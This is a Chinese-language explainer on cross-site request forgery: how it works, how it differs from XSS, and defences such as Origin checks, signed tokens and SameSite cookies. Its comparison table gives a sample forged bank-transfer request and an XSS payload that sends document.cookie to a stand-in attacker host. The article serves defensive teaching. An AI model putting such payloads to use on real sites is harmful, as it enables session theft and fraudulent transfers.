因為現代浏覽器的工作機制原因，造成一種WEB攻擊形式的存在，這種攻擊形式叫做CSRF攻擊，是一種對網站的惡意利用，是挾制使用者在目前已登入的Web應用程式上執行非本意的操作的攻擊方法。
作者：蒲語彤
機關：中國移動智慧家庭營運中心
Part 01
● 什麼是CSRF ●
CSRF（Cross-site request forgery）簡稱：跨站請求僞造，跟XSS攻擊一樣，存在巨大的危害性。在CSRF的攻擊場景中，攻擊者會僞造一個請求（這個請求一般是一個連結），然後欺騙目标使用者進行點選，使用者一旦點選了這個請求，整個攻擊就完成了，是以CSRF攻擊也稱為one-click attack。
Part 02
● CSRF與XSS的差別 ●
與XSS相比，XSS利用站點内的信任使用者，而CSRF則通過僞裝來自受信任使用者的請求來利用受信任的網站。
從漏洞存在的位置上（CSRF存在于所有請求-響應模式的功能上，XSS存在于将使用者輸入回顯前端web頁面的位置上）；從攻擊效果上（CSRF主要是執行網站自身已有功能，XSS主要是用于擷取Cookie）。
| 攻擊類型 | 攻擊示例 | 說明 |
| CSRF | http://www.hack.com/csrf_page（頁面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“） | 發送的請求是hack網站的頁面，目标是bank網站頁面 |
| XSS | http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>' | 發送的請求是bank網站的頁面，目标是hack網站頁面 |
Part 03
● CSRF攻擊原理 ●
HTTP是無狀态協定，伺服器隻能根據目前請求的參數(包括Head和Body的資料)來判斷本次請求需要達到的目的(Get或者Post都一樣)，伺服器并不知道這個請求之前幹了什麼事，這就是無狀态協定。
但是我們現實很多情況需要有狀态，比如登入态的身份資訊，網頁上很多操作需要登入之後才能操作。目前的解決方案是每次HTTP請求都把登入态資訊傳給背景伺服器，背景通過登入态資訊是判斷使用者合法性之後再處理這個請求要處理的操作。
如何讓每次HTTP請求都帶上登入态資訊，是以就出現了Cookie。登入态Cookie是浏覽器預設自動攜帶的，我們在浏覽器上發送HTTP請求的時候，浏覽器會把該域名下的Cookie帶上，一并發送到伺服器。那麼問題就來了，浏覽器不管目前發送請求的是哪個網站，在哪個頁面上發送的請求，隻要你請求的域名在浏覽器裡儲存有Cookie資訊，浏覽器都會一并帶上。
是以隻要使用者C曾經登入過網站A，在沒有關閉浏覽器的情況下打開一個黑客網頁B，黑客頁面發送HTTP請求到網站A的背景，會預設帶上網站A的登入态Cookie，也就能模拟使用者C做一些增删改等敏感操作。這就是CSRF攻擊原理。
Part 04
● CSRF攻擊過程 ●
(1) 使用者C打開浏覽器，通路受信任網站A，輸入使用者名和密碼請求登入網站A；
(2) 在使用者資訊通過驗證後，網站A産生Cookie資訊并傳回給浏覽器，此時使用者登入網站A成功，可以正常發送請求到網站A;
(3) 使用者未退出網站A之前，在同一浏覽器中，打開一個标簽頁通路危險網站B；
(4) 網站B接收到使用者請求後，傳回一些攻擊性代碼，并發出一個請求要求通路第三方站點A；
(5) 浏覽器在接收到這些攻擊性代碼後，根據網站B的請求，在使用者不知情的情況下攜帶Cookie資訊，向網站A送出請求。
(6) 網站A并不知道該請求其實是由B發起的，是以會根據使用者C的Cookie資訊以C的權限處理該請求，導緻來自網站B的惡意代碼被執行。
我們可以這樣了解：
攻擊者盜用了使用者C的身份，以使用者C的名義發送惡意請求，對伺服器來說這個請求是完全合法的，但是卻完成了攻擊者期望的操作，比如以使用者C的名義發送郵件，甚至于購買商品、虛拟貨币轉賬等。
Part 05
● CSRF防護方法 ●
1、驗證HTTP請求頭
HTTP請求頭會預設帶上Referer字段和Origin字段，Referer記錄了該請求的來源位址，Origin記錄請求來源域名。通過我們通過判斷這2個字段的值，可以确認該請求是否來自安全站點，以此來阻止第三方惡意請求。
由于Referer值會記錄使用者的通路來源位址，有些使用者認為這樣會侵犯到自己的隐私，特别是有些組織擔心Referer值會把内網中的某些資訊洩露到外網中。 是以，使用者自己可以設定浏覽器在發送請求時不再提供Referer。當他們正常通路銀行網站時，網站會因為請求沒有Referer值而認為是CSRF攻擊，拒絕合法使用者的通路。是以推薦使用Origin校驗。
2、Token機制
CSRF防護的一個重點是對“使用者憑證Token”進行校驗，通過這種機制可以對使用者的請求進行合法性判斷，判斷是不是跨站攻擊的行為。我們在Token中加入随機字元串和過期時間戳，對其進行有效期管理，并加上簽名校驗。如果的憑證被人盜用了，先判斷Token中的“簽名”與時間戳是否都有效，再進行正常的業務處理，這樣通過對非法資料的校驗過濾，來降低CSRF攻擊的成功率。
Token由三部分組成：
(1) 消息[msg]：消息本身由兩部分組成：随機字元串和過期時間戳。
(2) 分割符[separator]：用于分隔msg與加密後生成的signature簽名，這裡用的是”;“。
(3) 簽名[signature]：簽名是對“msg”用特定算法進行加密後的字元串。
當使用者向服務發送請求時，伺服器需要先進行分解，得到msg部分和signature簽名部分，比對簽名和判斷token是否過期，一旦傳向請求中攜帶的Token校驗異常，就可以判定是可疑行為，不做處理。
3. 在請求頭中自定義屬性并驗證
這種方法也是使用token并進行驗證，不同的是，這裡不是把token以參數的形式置于HTTP請求之中，而是把它放到請求頭中自定義的屬性裡。通過XMLHttpRequest請求封裝，可以一次性給所有請求加上csrftoken這個自定義屬性，并把token值放入其中。同時，通過XHR請求的位址不會被記錄到浏覽器的位址欄，也不用擔心token會透過Referer洩露到其他網站去。
然而這種方法的局限性非常大。XHR請求通常用于頁面局部的異步重新整理，并非所有的請求都适合用這個類來發起，而且通過該類請求得到的頁面不能被浏覽器所記錄下，進而不能進行前進、後退、重新整理等操作，給使用者帶來不便。
4. Cookie的SameSite屬性
CSRF攻擊就是利用了cookie中攜帶的使用者資訊，想要防護Cookie不被第三方網站利用，我們可以通過設定Samesite屬性。SameSite最初設計的目的就是防CSRF，SameSite有三個值Strict/Lax/None。
(1) Strict最為嚴格。如果SameSite的值是Strict，那麼浏覽器會完全禁止第三方。
(2) Lax相對寬松一點。在跨站點的情況下，從第三方站點的連結打開和從第三方站點送出Get方式的表單這兩種方式都會攜帶Cookie。但如果在第三方站點中使用Post方法，或者通過img、iframe等标簽加載的URL，這些場景都不會攜帶 Cookie。
(3) 而如果使用None的話，在任何情況下都會發送Cookie資料。
對于防範CSRF攻擊，我們可以針對實際情況将一些關鍵的Cookie設定為Strict或者Lax模式，這樣在跨站點請求時，這些關鍵的Cookie就不會被發送到伺服器，進而使得黑客的CSRF攻擊失效。
以上是技術層面的防護方法，常用的是驗證HTTP請求頭和Token機制。實際Web應用是使用WAF（Web應用防火牆，如免費的ShareWAF）。因為CSRF隻是衆多Web攻擊中的一種，WAF可以低于絕大多數的攻擊，極大的提高網站安全性。
參考文獻
[1]陳振. CSRF攻擊的原了解析與對策研究[J]
[2]https://blog.csdn.net/stpeace/article/details/53512283